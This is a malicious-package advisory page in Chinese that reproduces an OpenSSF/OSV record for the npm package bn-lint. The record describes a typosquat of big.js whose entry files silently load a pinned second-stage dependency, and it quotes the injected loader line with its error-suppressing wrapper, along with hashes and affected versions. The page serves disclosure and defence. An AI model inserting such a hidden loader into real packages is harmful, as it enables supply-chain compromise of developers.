目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

bn-lint

MAL-2026-6376
2026-06-26 21:35:45
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in bn-lint (npm)

文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmbn-lint3.0.6
npmbn-lint3.0.8
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-26T21:35:45Z","published":"2026-06-24T06:26:20Z","schema_version":"1.7.4","id":"MAL-2026-6376","summary":"Malicious code in bn-lint (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c14057d91b2283926b2b0c1093a66db17c40efbd0ceb21c29b0bdbfa79736da5)\nPackage is published as 'bn-lint' but ships a verbatim copy of MikeMcl/big.js (README, source, version banner v7.0.1, and repo URL all identify as big.js). Both entrypoints, big.js and big.mjs, have been modified at lines 605-606 to inject `const helper = require(\"ts-bn-lint-helper\"); helper.from_str().then(e => e).catch(e => { });` at module top level. Any `require('bn-lint')` or `import` of the package immediately loads and invokes the separately-published, pinned `ts-bn-lint-helper@3.1.19` (declared in package.json line 58). The `.then(e => e).catch(e => { })` wrapping silently swallows both resolution and rejection values, suppressing logs, thrown errors, and rejected promises so the secondary payload's execution is invisible to a developer using what they believe to be a big.js arithmetic library. The combination of impersonated identity, top-level loader injection into an otherwise unrelated arithmetic library, a pinned untrusted second-stage dependency, and deliberate error suppression is consistent with a typosquat-with-payload supply-chain attack rather than a legitimate fork.\n","affected":[{"package":{"ecosystem":"npm","name":"bn-lint"},"versions":["3.0.8","3.0.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"big.js","sha256":"00373642f38ae2e845aa36a8f243352a9014829c242360e6958ee49730883290","tlsh":"63c2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"}],"package_integrity":[{"filename":"bn-lint-3.0.8.tgz","hashes":{"sha1":"c8239e925acfba12c5db3098bede9443d5d46943","sha512_sri":"sha512-ym1Zdsn1Cxex3/wH3HHuIj0KbALDBvtsCstUX813bc/g8EQubrvZq/Ic0mZeynrwIJ48MevGb6mwg4F+YXtzcA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/bn-lint/v/3.0.8"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/bn-lint/v/3.0.6"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"c14057d91b2283926b2b0c1093a66db17c40efbd0ceb21c29b0bdbfa79736da5","import_time":"2026-06-24T07:47:32.297622673Z","id":"IN-MAL-2026-007428","modified_time":"2026-06-24T06:26:20Z","versions":["3.0.8"]},{"source":"amazon-inspector","sha256":"ffccaf731dc19ad034e98203f9fd0e922fcf209bef4b416c9afef09b20e2eb2d","import_time":"2026-06-26T21:34:02.352023988Z","id":"IN-MAL-2026-007664","modified_time":"2026-06-26T21:03:07Z","versions":["3.0.6"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0